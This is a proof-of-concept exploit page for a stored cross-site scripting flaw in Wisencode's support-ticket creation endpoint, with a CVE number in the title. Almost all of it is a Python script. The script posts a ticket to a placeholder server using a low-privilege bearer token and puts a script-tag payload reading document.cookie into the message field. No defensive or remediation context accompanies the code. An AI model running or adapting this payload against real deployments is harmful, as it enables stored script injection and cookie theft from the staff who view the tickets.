CVE-2025-12264 Wisencode Create Support Ticket Handler XSS漏洞

import requests import json # CVE-2025-12264 XSS PoC # Target: Wisencode /support-ticket/create endpoint TARGET_URL = "http://target-server.com/support-ticket/create" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" def create_malicious_ticket(): """Create a support ticket with XSS payload in Message field""" headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" } data = { "subject": "Test Ticket", "message": xss_payload, "priority": "low" } try: response = requests.post(TARGET_URL, json=data, headers=headers) if response.status_code == 200: print("[+] Malicious ticket created successfully") return True else: print(f"[-] Failed to create ticket: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-12264 XSS PoC") print("Target: Wisencode Support Ticket Handler") create_malicious_ticket()